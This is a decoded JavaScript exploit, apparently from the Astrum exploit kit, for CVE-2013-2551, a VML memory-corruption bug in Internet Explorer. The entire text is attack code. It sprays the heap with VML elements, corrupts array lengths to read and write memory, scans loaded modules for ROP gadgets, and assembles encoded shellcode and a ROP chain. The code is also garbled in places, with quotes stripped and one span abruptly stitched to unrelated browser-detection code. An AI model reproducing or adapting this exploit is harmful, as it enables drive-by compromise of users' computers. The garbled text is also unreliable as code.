Astrum - CVE-2013-2551 - decoded

function x(x) {
    return t[X](x)
}

function e(x, e, n) {
    if (x[b] < e[b]) return -1;
    if (n) {
        if (x[substr](0 == x[V](0) ? 1 : 0, e[b]) == e) return 0
    } else if (n = x[b] - e[b], 0 == x[V](x[b] - 1) && n++, x[substr](n, e[b]) == e) return n;
    return -1
}

function n(x) {
    for (var e = s, r = 0; r < x[b]; r++) var n = x[V](r),
        e = e + W[L](255 & n),
        e = e + W[L]((65280 & n) >> 8);
    return e
}

function a(x) {
    var e = x >> 16 & 65535;
    return %u + f(65535 & x, 4) + % u + f(e, 4)
}

function u(x) {
    return C[B][U][E](68) = x, y[I][$]
}

function f(x, e) {
    for (var n = x[toString](16); n[b] < e;) n = 0 + n;
    return n
}

function p(x) {
    for (var e = 0; 3 > e; e++) {
        var r = u(x + e);
        if (r) return x = r, r = 1 < x[b] ? f(x[V](1), 4) + f(x[V](0), 4) : f(x[V](0), 4), x = c(r, 16), x << 8 * e
    }
    return 0
}

function d(x) {
    var e = null;
    if (x) {
        for (x &= 4294901760;;) {
            if (23117 == (65535 & p(x))) {
                e = x;
                break
            }
            x -= 65536
        }
        if (e) {
            var r = e + p(e + 60);
            if (17744 == p(r) && (x = p(r + 28), r = p(r + 44), x && r)) return {
                a: e + r,
                b: e + r + x
            }
        }
    }
    return null
}

function h() {
    for (var x = 0; 1024 > x; x++) A[x] = i[createElement](vv: +O), o[appendChild](A[x]);
    for (C = N[P](obid), x = 0; 1024 > x; x++) y[x] = A[x][_vgRuntimeStyle];
    for (x = 0; 1024 > x; x++) {
        try {
            y[x][H]
        } catch (e) {}
        768 == x && (C[B] = 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44)
    }
    T = C[B][U][b];
    try {
        C[B][U][b] = -1
    } catch (n) {
        return !1
    }
    for (C[B][U][b] = 69, x = 0; 1024 > x; x++) {
        y[x][$] = a;
        var t = C[B][U][E](68);
        if (t > 0) return M = t, I = x, !0
    }
    return !1
}

function v() {
    k = N[P](oaid);
    for (var x = 0; 1024 > x; x++) S[x] = A[x][_anchorRect], 768 == x && (k[B] = 1 2 3 4);
    x = k[B][U][b];
    try {
        k[B][U][b] = -1
    } catch (e) {
        return null
    }
    var n = k[B][U][E](6),
        t = k[B][U][E](7);
    return n > 0 && t > 0 && 1 == k[B][U][E](8) ? (F = n, R = t, G = x, !0) : (k[B][U][b] = x, !1)
}

function g() {
    var e = d(F);
    if (!e) return !1;
    for (var t = x( % 8b % 01 % ff % 50 % 04), a = e.a; a < e.b;) {
        var i = u(a);
        if (i) {
            var l = null,
                i = n(i);
            if (-1 != (l = i[_](t))) return J = a + l, !0;
            a += i[b]
        }
        a += 2
    }
    return !1
}
var m, b = length,
    _ = indexOf,
    $ = marginLeft,
    E = item,
    C = null,
    A = [],
    y = [],
    S = [],
    w = [],
    O = shape,
    L = fromCharCode,
    w = [vv, urn: schemas - microsoft - com: vml, #
        default# VML
    ];
m = i[namespaces];
try {
    m[add](w[0], w[1], w[2])
} catch (D) {}
i[createStyleSheet]()[cssText] = w[0] + : * {
    behavior: url(+w[2] + );
    display: inline - block;
}, o[insertAdjacentHTML](afterbegin, < vv: oval > < vv: stroke id = 'obid' > < /vv:stroke></vv: oval > ), o[insertAdjacentHTML](afterbegin, < vv: oval > < vv: stroke id = 'oaid'/WOW64;/i.test(O),
                        T = /Win64;/i.test(O),
                        F = /Trident/ (d) / i.test(O) ? c(RegExp.$1) : null;
                    if (!T && L) {
                        Q = F, xe = D, w = !0;
                        break e
                    }
                } catch (H) {}
                w = !1
            }
            if (w && (i = 15 & p(2147353192) ? p(2147353188) : null, w = p(2147353196), O = p(2147353200), m = 5 != w || 1 != O && 2 != O || 1 != i ? 6 == w && 0 == O && 1 == i ? 2 : 6 == w && 1 == O && 1 == i ? 3 : 0 : 1, 0 != m && (i = p(xe ? 2147353408 : 2147353344)))) {
                var P = d(i);
                if (P) {
                    i = x( % 94 % c3), w = x( % 5a % c3);
                    var O = x( % ff % 06 % c3),
                        L = x( % ff % 07 % c3),
                        D = x( % 5e % c3),
                        T = x( % 5f % c3),
                        X = F = null;
                    xe ? (X = x( % b8 % 4d), F = x( % 33 % c9 % 8d % 54 % 24 % 04 % 64 % ff % 15 % c0)) : (1 == m ? X = x( % b8 % 89) : 2 == m ? X = x( % b8 % d2) : 3 == m && (X = x( % b8 % d7)), F = x( % ba % 00 % 03 % fe % 7f % ff % 12 % c2 % 14));
                    var W = null,
                        G = null,
                        ee = m = null,
                        re = null,
                        ne = P.a;
                    for (M8Wu = P.b; M8Wu > ne;) {
                        var te = u(ne);
                        if (te) {
                            if (P = null, te = n(te), q || !re && -1 == (P = e(te, X, !1)) || (re ? -1 != e(te, F, !0) ? q = re : re = null : re = ne + P), z || -1 == (P = te[_](i)) || (z = ne + P), Y || -1 == (P = te[_](w)) || (Y = ne + P), o = W && m, A = G && ee, o || (W || -1 == (P = te[_](O)) || (W = ne + P), m || -1 == (P = te[_](D)) || (m = ne + P)), A || (G || -1 == (P = te[_](L)) || (G = ne + P), ee || -1 == (P = te[_](T)) || (ee = ne + P)), z && Y && q && (o || A)) break;
                            ne += te[b]
                        }
                        ne += 2
                    }(o || A) && (o ? (K = W, Z = m) : (K = G, Z = ee)), o = z && Y && q && K && Z;
                    break x
                }
            }
            o = void 0
        }
        i = o && v() && g()
    }
    if (i) {
        x: {
            for (C[B][U][E](68) = M, o = AB; 262144 > o[b];) o += o;
            for (o = o[substring](0, 262125) + XXX, A = 6 == Q ? % f8 : % fc, i = 6 == Q ? % f0 : % f4, A = x( % EB % 1f % 60 % 8b % 44 % 24 % 20 % ff % d0 % 61 % 8B % 75 % 08 + (6 == Q ? % 8d % 76 % 04 : % 90 % 90 % 90) + % C7 % 06 + n(x(a(R))) + % 8d % 65 + A + % 8b % 45 + i + % 83 % e8 % 08 % ff % e0 % e8 % dc % ff % ff % ff), i = x( % 8D % 78 % 18 % 89 % FE % 66 % AD % 84 % E4 % 74 % 0C % FE % CC % FE % C8 % C0 % E0 % 04 % 08 % E0 % AA % EB % EE % 90), A += i, i = 0; 7 > i; i++) {
                for (y[I][$] = o, w = M = C[B][U][E](68), O = w + 2 * o[b], L = a(O + 4) + a(O + 12) + a(J) + a(Y) + a(z) + a(Z) + a(O + 65) + a(K) + a(Z) + a(O + 78) + a(K) + a(q) + a(O + 84) + a(4294967295) + a(O + 72) + a(O + 76) + a(4294967104) + a(O + 79) + a(O + 84) + a(4294902784) + a(1094795585), D = A, T = s, D[b] % 2 && (D += x( % 00)), F = 0; F < D[b]; F += 2) T += % u, T += f(D[V](F + 1), 2), T += f(D[V](F), 2);
                if (L = x(L + T + t), y[I][$] += L, w == C[B][U][E](68)) {
                    t = O;
                    break x
                }
            }
            t = null
        }
        if (t) {
            for (k[B][U][E](7) = t, t = 0; 1024 > t; t++) j[t] = N[createElement](div), j[t][setAttribute](class, S[t]), j[t][classname] = S[t];
            for (t = 0; 1024 > t; t++) delete j[t], CollectGarbage()
        }
    }
}(ee), C && (M && (C[B][U][E](68) = M), C[B][U][b] = T), k && R && G && (k[B][U][E](7) = R, k[B][U][b] = G)